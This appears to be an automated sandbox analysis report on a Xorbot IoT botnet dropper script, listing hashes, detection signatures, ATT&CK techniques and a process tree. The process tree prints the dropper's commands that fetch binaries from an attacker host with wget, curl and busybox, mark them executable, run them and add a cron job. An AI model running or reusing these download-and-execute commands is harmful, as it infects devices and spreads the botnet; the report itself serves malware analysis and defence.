xorbot | 9eac4c35a3229382569a9ffbb6466342b9f6cb23b771e49415e8999ad5cd0b35

Analysis

max time kernel
150s
max time network
155s
platform
debian-9_mips
resource
debian9-mipsbe-20240611-en
resource tags

arch:mipsimage:debian9-mipsbe-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
submitted
05/01/2025, 04:30

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General

Target

bins.sh
Size

10KB
MD5

16b5d182bd50c71c5ebba5992db2202d
SHA1

f963b5366117ce819f60143133ecf7a204331c87
SHA256

9eac4c35a3229382569a9ffbb6466342b9f6cb23b771e49415e8999ad5cd0b35
SHA512

1a86922da03a58d349ed234a52c60cefcaaaeb36b1d6386cd5f4f8a098929ce02220ed4b8858fed4938441ecfd212a0639d9998a41a42c92c395c1b80dfb378e
SSDEEP

96:Y5RvyHbvPjpIWLIK/TBUYjLLnhWLttQvDLO+kLXrhrLKKKCKgpF8L2mGUA8mLIWm:4oZWxpmz7gpF8eMKBz7gpFp

Score

10^/10

xorbot botnet defense_evasion discovery execution persistence privilege_escalatio trojan

Malware Config

Signatures

Detects Xorbot 1 IoCs

botnet trojan

resource	yara_rule
behavioral3/files/fstream-1.dat	family_xorbot

Xorbot
Xorbot is a linux botnet and trojan targeting IoT devices.
botnet trojan xorbot
Xorbot family
xorbot
Contacts a large (1696) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046

File and Directory Permissions Modification 1 TTPs 2 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
731	chmod
741	chmod

Executes dropped EXE 2 IoCs

ioc	pid	Process
/tmp/ysUM2Yrh2zb2PumcYOz2cegK4A14jnDJsI	732	ysUM2Yrh2zb2PumcYOz2cegK4A14jnDJsI
/tmp/TqSptkpvUtBNeA7QTX9jkX1kZxIe9qpTgU	743	TqSptkpvUtBNeA7QTX9jkX1kZxIe9qpTgU

Renames itself 1 IoCs

pid	Process
744	TqSptkpvUtBNeA7QTX9jkX1kZxIe9qpTgU

Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046

Creates/modifies Cron job 1 TTPs 1 IoCs

Cron allows running tasks on a schedule, and is commonly used for malware persistence.

execution persistence privilege_escalatio

Cron

T1053.003

description	ioc	Process
File opened for modification	/var/spool/cron/crontabs/tmp.YOb0tY	crontab

Enumerates running processes
Discovers information about currently running processes on the system

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/796/cmdline	TqSptkpvUtBNeA7QTX9jkX1kZxIe9qpTgU
File opened for reading	/proc/801/cmdline	TqSptkpvUtBNeA7QTX9jkX1kZxIe9qpTgU
File opened for reading	/proc/863/cmdline	TqSptkpvUtBNeA7QTX9jkX1kZxIe9qpTgU
File opened for reading	/proc/941/cmdline	TqSptkpvUtBNeA7QTX9jkX1kZxIe9qpTgU
File opened for reading	/proc/974/cmdline	TqSptkpvUtBNeA7QTX9jkX1kZxIe9qpTgU
File opened for reading	/proc/1040/cmdline	TqSptkpvUtBNeA7QTX9jkX1kZxIe9qpTgU
File opened for reading	/proc/1045/cmdline	TqSptkpvUtBNeA7QTX9jkX1kZxIe9qpTgU
File opened for reading	/proc/751/cmdline	TqSptkpvUtBNeA7QTX9jkX1kZxIe9qpTgU
File opened for reading	/proc/493/cmdline	TqSptkpvUtBNeA7QTX9jkX1kZxIe9qpTgU
File opened for reading	/proc/820/cmdline	TqSptkpvUtBNeA7QTX9jkX1kZxIe9qpTgU
File opened for reading	/proc/821/cmdline	TqSptkpvUtBNeA7QTX9jkX1kZxIe9qpTgU
File opened for reading	/proc/834/cmdline	TqSptkpvUtBNeA7QTX9jkX1kZxIe9qpTgU
File opened for reading	/proc/842/cmdline	TqSptkpvUtBNeA7QTX9jkX1kZxIe9qpTgU
File opened for reading	/proc/859/cmdline	TqSptkpvUtBNeA7QTX9jkX1kZxIe9qpTgU
File opened for reading	/proc/872/cmdline	TqSptkpvUtBNeA7QTX9jkX1kZxIe9qpTgU
File opened for reading	/proc/140/cmdline	TqSptkpvUtBNeA7QTX9jkX1kZxIe9qpTgU
File opened for reading	/proc/957/cmdline	TqSptkpvUtBNeA7QTX9jkX1kZxIe9qpTgU
File opened for reading	/proc/949/cmdline	TqSptkpvUtBNeA7QTX9jkX1kZxIe9qpTgU
File opened for reading	/proc/456/cmdline	TqSptkpvUtBNeA7QTX9jkX1kZxIe9qpTgU
File opened for reading	/proc/771/cmdline	TqSptkpvUtBNeA7QTX9jkX1kZxIe9qpTgU
File opened for reading	/proc/786/cmdline	TqSptkpvUtBNeA7QTX9jkX1kZxIe9qpTgU
File opened for reading	/proc/964/cmdline	TqSptkpvUtBNeA7QTX9jkX1kZxIe9qpTgU
File opened for reading	/proc/37/cmdline	TqSptkpvUtBNeA7QTX9jkX1kZxIe9qpTgU
File opened for reading	/proc/105/cmdline	TqSptkpvUtBNeA7QTX9jkX1kZxIe9qpTgU
File opened for reading	/proc/769/cmdline	TqSptkpvUtBNeA7QTX9jkX1kZxIe9qpTgU
File opened for reading	/proc/802/cmdline	TqSptkpvUtBNeA7QTX9jkX1kZxIe9qpTgU
File opened for reading	/proc/827/cmdline	TqSptkpvUtBNeA7QTX9jkX1kZxIe9qpTgU
File opened for reading	/proc/830/cmdline	TqSptkpvUtBNeA7QTX9jkX1kZxIe9qpTgU
File opened for reading	/proc/910/cmdline	TqSptkpvUtBNeA7QTX9jkX1kZxIe9qpTgU
File opened for reading	/proc/999/cmdline	TqSptkpvUtBNeA7QTX9jkX1kZxIe9qpTgU
File opened for reading	/proc/12/cmdline	TqSptkpvUtBNeA7QTX9jkX1kZxIe9qpTgU
File opened for reading	/proc/962/cmdline	TqSptkpvUtBNeA7QTX9jkX1kZxIe9qpTgU
File opened for reading	/proc/899/cmdline	TqSptkpvUtBNeA7QTX9jkX1kZxIe9qpTgU
File opened for reading	/proc/402/cmdline	TqSptkpvUtBNeA7QTX9jkX1kZxIe9qpTgU
File opened for reading	/proc/492/cmdline	TqSptkpvUtBNeA7QTX9jkX1kZxIe9qpTgU
File opened for reading	/proc/695/cmdline	TqSptkpvUtBNeA7QTX9jkX1kZxIe9qpTgU
File opened for reading	/proc/762/cmdline	TqSptkpvUtBNeA7QTX9jkX1kZxIe9qpTgU
File opened for reading	/proc/944/cmdline	TqSptkpvUtBNeA7QTX9jkX1kZxIe9qpTgU
File opened for reading	/proc/1001/cmdline	TqSptkpvUtBNeA7QTX9jkX1kZxIe9qpTgU
File opened for reading	/proc/376/cmdline	TqSptkpvUtBNeA7QTX9jkX1kZxIe9qpTgU
File opened for reading	/proc/9/cmdline	TqSptkpvUtBNeA7QTX9jkX1kZxIe9qpTgU
File opened for reading	/proc/960/cmdline	TqSptkpvUtBNeA7QTX9jkX1kZxIe9qpTgU
File opened for reading	/proc/997/cmdline	TqSptkpvUtBNeA7QTX9jkX1kZxIe9qpTgU
File opened for reading	/proc/filesystems	crontab
File opened for reading	/proc/942/cmdline	TqSptkpvUtBNeA7QTX9jkX1kZxIe9qpTgU
File opened for reading	/proc/975/cmdline	TqSptkpvUtBNeA7QTX9jkX1kZxIe9qpTgU
File opened for reading	/proc/1000/cmdline	TqSptkpvUtBNeA7QTX9jkX1kZxIe9qpTgU
File opened for reading	/proc/1006/cmdline	TqSptkpvUtBNeA7QTX9jkX1kZxIe9qpTgU
File opened for reading	/proc/1046/cmdline	TqSptkpvUtBNeA7QTX9jkX1kZxIe9qpTgU
File opened for reading	/proc/462/cmdline	TqSptkpvUtBNeA7QTX9jkX1kZxIe9qpTgU
File opened for reading	/proc/871/cmdline	TqSptkpvUtBNeA7QTX9jkX1kZxIe9qpTgU
File opened for reading	/proc/915/cmdline	TqSptkpvUtBNeA7QTX9jkX1kZxIe9qpTgU
File opened for reading	/proc/972/cmdline	TqSptkpvUtBNeA7QTX9jkX1kZxIe9qpTgU
File opened for reading	/proc/982/cmdline	TqSptkpvUtBNeA7QTX9jkX1kZxIe9qpTgU
File opened for reading	/proc/993/cmdline	TqSptkpvUtBNeA7QTX9jkX1kZxIe9qpTgU
File opened for reading	/proc/1014/cmdline	TqSptkpvUtBNeA7QTX9jkX1kZxIe9qpTgU
File opened for reading	/proc/1038/cmdline	TqSptkpvUtBNeA7QTX9jkX1kZxIe9qpTgU
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/885/cmdline	TqSptkpvUtBNeA7QTX9jkX1kZxIe9qpTgU
File opened for reading	/proc/894/cmdline	TqSptkpvUtBNeA7QTX9jkX1kZxIe9qpTgU
File opened for reading	/proc/977/cmdline	TqSptkpvUtBNeA7QTX9jkX1kZxIe9qpTgU
File opened for reading	/proc/990/cmdline	TqSptkpvUtBNeA7QTX9jkX1kZxIe9qpTgU
File opened for reading	/proc/817/cmdline	TqSptkpvUtBNeA7QTX9jkX1kZxIe9qpTgU
File opened for reading	/proc/809/cmdline	TqSptkpvUtBNeA7QTX9jkX1kZxIe9qpTgU

System Network Configuration Discovery 1 TTPs 8 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
706	wget
728	curl
730	busybox
735	wget
736	curl
738	busybox
798	wget
853	curl

Writes file to tmp directory 5 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/ysUM2Yrh2zb2PumcYOz2cegK4A14jnDJsI	wget
File opened for modification	/tmp/ysUM2Yrh2zb2PumcYOz2cegK4A14jnDJsI	curl
File opened for modification	/tmp/TqSptkpvUtBNeA7QTX9jkX1kZxIe9qpTgU	wget
File opened for modification	/tmp/TqSptkpvUtBNeA7QTX9jkX1kZxIe9qpTgU	curl
File opened for modification	/tmp/TqSptkpvUtBNeA7QTX9jkX1kZxIe9qpTgU	busybox

/tmp/bins.sh
/tmp/bins.sh
1⤵
PID:698
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:704
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/ysUM2Yrh2zb2PumcYOz2cegK4A14jnDJsI
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:706
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/ysUM2Yrh2zb2PumcYOz2cegK4A14jnDJsI
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:728
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/ysUM2Yrh2zb2PumcYOz2cegK4A14jnDJsI
  2⤵
  - System Network Configuration Discovery
  PID:730
- /bin/chmod
  chmod 777 ysUM2Yrh2zb2PumcYOz2cegK4A14jnDJsI
  2⤵
  - File and Directory Permissions Modification
  PID:731
- /tmp/ysUM2Yrh2zb2PumcYOz2cegK4A14jnDJsI
  ./ysUM2Yrh2zb2PumcYOz2cegK4A14jnDJsI
  2⤵
  - Executes dropped EXE
  PID:732
- /bin/rm
  rm ysUM2Yrh2zb2PumcYOz2cegK4A14jnDJsI
  2⤵
  PID:734
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/TqSptkpvUtBNeA7QTX9jkX1kZxIe9qpTgU
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:735
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/TqSptkpvUtBNeA7QTX9jkX1kZxIe9qpTgU
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:736
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/TqSptkpvUtBNeA7QTX9jkX1kZxIe9qpTgU
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:738
- /bin/chmod
  chmod 777 TqSptkpvUtBNeA7QTX9jkX1kZxIe9qpTgU
  2⤵
  - File and Directory Permissions Modification
  PID:741
- /tmp/TqSptkpvUtBNeA7QTX9jkX1kZxIe9qpTgU
  ./TqSptkpvUtBNeA7QTX9jkX1kZxIe9qpTgU
  2⤵
  - Executes dropped EXE
  - Renames itself
  - Reads runtime system information
  PID:743
- - /bin/sh
    sh -c "crontab -l"
    3⤵
    PID:745
  - - /usr/bin/crontab
      crontab -l
      4⤵
      PID:746
- - /bin/sh
    sh -c "crontab -"
    3⤵
    PID:748
  - - /usr/bin/crontab
      crontab -
      4⤵
      Creates/modifies Cron job
      Reads runtime system information
      PID:749
- /bin/rm
  rm TqSptkpvUtBNeA7QTX9jkX1kZxIe9qpTgU
  2⤵
  PID:752
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/h2NthI18CkpyQLhFEswpfDRkJMskblEDP4
  2⤵
  - System Network Configuration Discovery
  PID:798
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/h2NthI18CkpyQLhFEswpfDRkJMskblEDP4
  2⤵
  - System Network Configuration Discovery
  PID:853

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Cron

T1053.003

Persistence

Scheduled Task/Job

T1053

Cron

T1053.003

Privilege Escalation

Scheduled Task/Job

T1053

Cron

T1053.003

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

Network Service Discovery

T1046

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

/tmp/TqSptkpvUtBNeA7QTX9jkX1kZxIe9qpTgU

Filesize
151KB

MD5
3c90d5820bddcf7c5d1bd21dfa49d958

SHA1
5ba05bd489e50af97d6dc45e3a0be60e494d5083

SHA256
bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2

SHA512
54a0e2ec10040634100fb5c4bddc35f558471f4ff833f9ad20f16ffd14c286cf251841bdaad7c557c3c78efc2094db91038c195c0ddabdecf9beac97ff2ce01a

Download Submit
/tmp/ysUM2Yrh2zb2PumcYOz2cegK4A14jnDJsI

Filesize
98KB

MD5
5141342d0df8699fa32a6b066a0c592e

SHA1
8157673225bd5182f16215e2aa823a25ca2d4fbc

SHA256
54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d

SHA512
d6b24571e7691227abafc70133a1da007c97c2730c820de77a750d2c140a8a75554cc614b4729debc4ec5480124252737c5846a458a5146005285c6d3f9e3801

Download Submit
/var/spool/cron/crontabs/tmp.YOb0tY

Filesize
210B

MD5
506a1c2c26804fe09f3c59cedff23373

SHA1
a10d45f00c6f755a0a534bade6712cf005db4c2b

SHA256
b203a86da81fd4ba9e939c483ae744359694a879ffe7516564eba458603f9057

SHA512
a7deaae774bca3471d77d9e9a0701f249d7c397d0916386151e541086b5a3f7dadc20ded0a77addcb93bd02b2f6623a257191b9ac5d4ff3fb28bbec8c8bb5e40

Download Submit

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads